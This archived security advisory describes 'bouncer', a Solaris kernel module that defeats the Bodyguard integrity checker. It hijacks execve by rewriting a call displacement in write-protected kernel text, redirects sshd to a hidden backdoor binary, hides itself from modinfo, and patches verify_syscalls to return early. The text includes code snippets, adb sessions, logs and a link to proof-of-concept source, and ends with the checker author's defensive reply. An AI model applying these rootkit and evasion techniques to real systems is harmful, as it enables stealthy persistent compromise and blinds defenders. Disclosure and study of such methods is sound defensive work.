|
COMMAND Bodyguard bypassed / Solaris kernel function hijacking SYSTEMS AFFECTED ?? PROBLEM noir sin [http://www.olympos.org/] wrote : Recently, Dave Aitel posted a link to a loadable kernel module for the Solaris operating system to check its kernel integrity against backdoors. The product does md5 checksuming on the sysent32 table where pointers to syscall handling kernel functions reside. These pointers are well known to be manipulated by backdoor lkm\'s to change the execution order and pre-execute some hacker code that will hide things or feed false information. Further demonstrates stealth techniques that will bypass checks that are done by Bodyguard (Dave\'s lkm). Similar techniques have been developed for Linux by Silvio and most recently by mayhem. But my implementation has a major difference than Silvio\'s and mayhem\'s kernel function hooking; Rather than inserting a jump/call instruction on functions entry point, I choose to change displacement of the call instructions that are used on system call dispacthing. Proof of concept code ===================== http://gsu.linux.org.tr/~noir/b.tar.gz (Source will only compile with Sun Workshop compiler, do not even bother with gcc) Binary and source is coded/compiled on Solaris 7 and 8 sun4u with 64 bits kernel. Try it on only on Solaris 7 or 8 with 64 bit kernel image (isainfo -b). Details ======= In the \"product\" demo, Dave checks for execve system call (only execve and stat64 indeed), for demostrations sake I will hook the execve syscall and redirect /usr/local/sbin/sshd execution to /usr/lib/.funky/sshd (kids, you can grab your favorite OpenSSH backdoor and place it under /usr/lib/.funky/) bash-2.03# adb -k /dev/ksyms physmem 3b5b exece/5i exece: exece: save %sp, -0xb0, %sp mov %i0, %o0 mov %i1, %o1 call exec_common mov %i2, %o2 After the userland trap instruction kernel dispacthes the execve system call to the exece() function, as we can see exece() directly call exec_common() without touching anything, this is the instruction \"call exec_common\" that we are going to hijack!! and change the displacement to our newly inserted code: hook_execcommon() exece+0xc/i exece+0xc: call exec_common .=X 10086cf0 10086cf0/X exece+0xc: 4000000c this is the value before patching it but we will face an obstacle here since the kernel text is read and execute only in Solaris kernel. there is no such issue on Linux since kernel text is rwx ... here is how to overcome the problem:B unsigned int gprot; |--> a global to store the orginal protection bits ... ... .. int _init(void) .... if((i = hat_getattr(kas.a_hat, (caddr_t) orig_exece, &gprot)) != 0) goto out; | |--> get the page protection bits and store it in gprot hat_setattr(kas.a_hat, (caddr_t) orig_exece, 0x4, PROT_WRITE); |--> set >PROT_WRITE bit *(int *) orig_exece = call_ins; |--> patch the kernel text with our call instruction hat_chgattr(kas.a_hat, (caddr_t) orig_exece, 0x4, gprot); |--> restore the page protection .... that\'s it ;-), simple as that... and on _fini we do the same routine to restore the original call instruction also here is how the displacement for the call instruction is calculated: ____________________________ call instruction on SPARC cpu is: |01| 30bit displacement | ---------------------------- all you have to do is find the difference between 2 addresses (hook_execcommon - (exece+0xc)) bitwise shit it 2 bits to right than OR it with 0x40000000, done! Additional side note: bouncer does not even reads from the sysent/sysent32 table, it uses kobj_getsymvalue(char *, int) function to resolve the kernel symbols like exece, exec ... let\'s continue bash-2.03# modload bouncer ---> lets load our module bash-2.03# adb -k /dev/ksyms physmem 3b5b exece/5i exece: exece: save %sp, -0xb0, %sp mov %i0, %o0 mov %i1, %o1 call hook_execcommon ---> w0w!!! it is patched mov %i2, %o2 exece+0xc/i exece+0xc: call hook_execcommon .=X 10086cf0 10086cf0/X exece+0xc: 400675c0 $q bash-2.03# /usr/local/sbin/sshd bash: /usr/lib/.funky/sshd: No such file or directory |--> i don\'t run OpenSSH, backdoor is active! bash-2.03# modinfo | grep bouncer |--> invisible, but I can guess da number ;) bash-2.03# modunload -i 118 --> lets unload and do sanity check!! ;-p bash-2.03# adb -k /dev/ksyms physmem 3b5b exece+0xc/i exece+0xc: call exec_common --> cool back to normal .=X 10086cf0 10086cf0/X exece+0xc: 4000000c $q bash-2.03# a clean unload.... bouncer hooks cmn_err()* and checks if verify_syscalls() resolvs, if YES it patches the first 2 instructions of verify_syscalls with \"retl; nop; * cmn_err() is used for reporting to userland (through /var/adm/messages) so at _init() bodyguard call cmn_err() to report of its successful installation, nada! bouncer kicks in and patches verify_syscall() ... ;0) now you can even change the sysent/sysent32 table with no worries ; ) logs of BOUNCER in action: bash-2.03# uname -a SunOS slint 5.8 Generic_108528-09 sun4u sparc SUNW,Ultra-5_10 bash-2.03# isainfo -b 64 bash-2.03# cd BOUNCER/ bash-2.03# modload b2 bash-2.03# bash-2.03# /usr/local/sbin/sshd bash: /usr/lib/.funky/sshd: No such file or directory bash-2.03# cd ../BODYGUARD bash-2.03# sh runbodyguard_verifier.sh This is the license for BodyGuard Kernel Verifier, Demo Version 1.0 ..... Jul 7 04:45:50 slint bodyguard: [ID 801043 kern.notice] NOTICE: Installing Immunity BODYGUARD module! Jul 7 04:45:50 slint bodyguard: [ID 300378 kern.notice] NOTICE: If there are any problems, please e-mail Dave Aitel at dave@immunitysec.com Jul 7 04:45:50 slint bodyguard: [ID 779008 kern.notice] NOTICE: This is just a demo version of the Immunity BODYGUARD product. Jul 7 04:45:50 slint bodyguard: [ID 530759 kern.notice] NOTICE: For a year-long site license, or limited source code license, please see http://www.immunitysec.com. Jul 7 04:45:50 slint bodyguard: [ID 222896 kern.notice] NOTICE: Done installing BODYGUARD. Jul 7 04:45:51 slint bodyguard: [ID 887483 kern.notice] NOTICE: Removing BODYGUARD module! Jul 7 05:01:22 slint bodyguard: [ID 801043 kern.notice] NOTICE: Installing Immunity BODYGUARD module! Jul 7 05:01:22 slint bodyguard: [ID 300378 kern.notice] NOTICE: If there are any problems, please e-mail Dave Aitel at dave@immunitysec.com Jul 7 05:01:22 slint bodyguard: [ID 779008 kern.notice] NOTICE: This is just a demo version of the Immunity BODYGUARD product. bash-2.03# modload bodyguard bash-2.03# adb -k /dev/ksyms physmem 3b5b verify_syscalls/i verify_syscalls: verify_syscalls: retl verify_syscalls+4: nop cmn_err+0x94/i cmn_err+0x94: call uncle_steve_albini exece+0xc/i exece+0xc: call hook_execcommon The fundamental problem is bodyguard is also trusting a subverted kernel, this means that any internal kernel function is being used by bodyguard could be changed in a way that it will detect bodyguards existence and feed false information or even change bodyguard itself ... for example ddi_enter_critical or mod_install can be hooked in away that it will do a kobj_getsymvalue() one or more exported symbols of bodyguard (myverify, md5_XXXXXX, verify_syscalls...) and if the symbol/s resolve it will patch that function with a \"return TRUE\" instruction ... ;-) ofcourse patching must be done at the entry point somewhere, most likely the first instruction .... primary_inhouse_kernel_function_used_by_bodyguard() { ..... if(kobj_getsymvalue(verify_syscalls,1)){ do page protection manipulation patch the proper place with \"return TRUE\" of the verify_syscalls() !! this will make verify_syscalls return TRUE meaning no problems } .... do the realstuff ... } this will render any kernel integrity level checker useless. solution is simple integrity checkers have to be stealh to like their counterparts (backdoors) SOLUTION Dave Aitel comments : Well, BG 1.0 Free Demo (http://www.immunitysec.com/bodyguard.html) does do the dereference. E.G. It checks the system call code itself, not the sysent32 table. So theoretically adding exece to BodyGuard\'s checksum table _would_ catch this method, at least for the moment. :> The demo version is somewhat limited in what it checks, but DOES work on many \"popular\" kernel level rootkits. A lot of the goal was to give people at least SOME recourse. I recognize the it becomes an escalating game of SPY vs SPY, but BG does at least give non-hackers a chip to spend in the game - something they didn\'t have until Monday :>.=20 There\'s definitely a window of time where BG will detect a rootkit. This is why BG, to be successful, will have 1. Limited distribution 2. slightly different executables for each customer 3. be sold only on a subscription basis - new versions due out periodically throughout the year.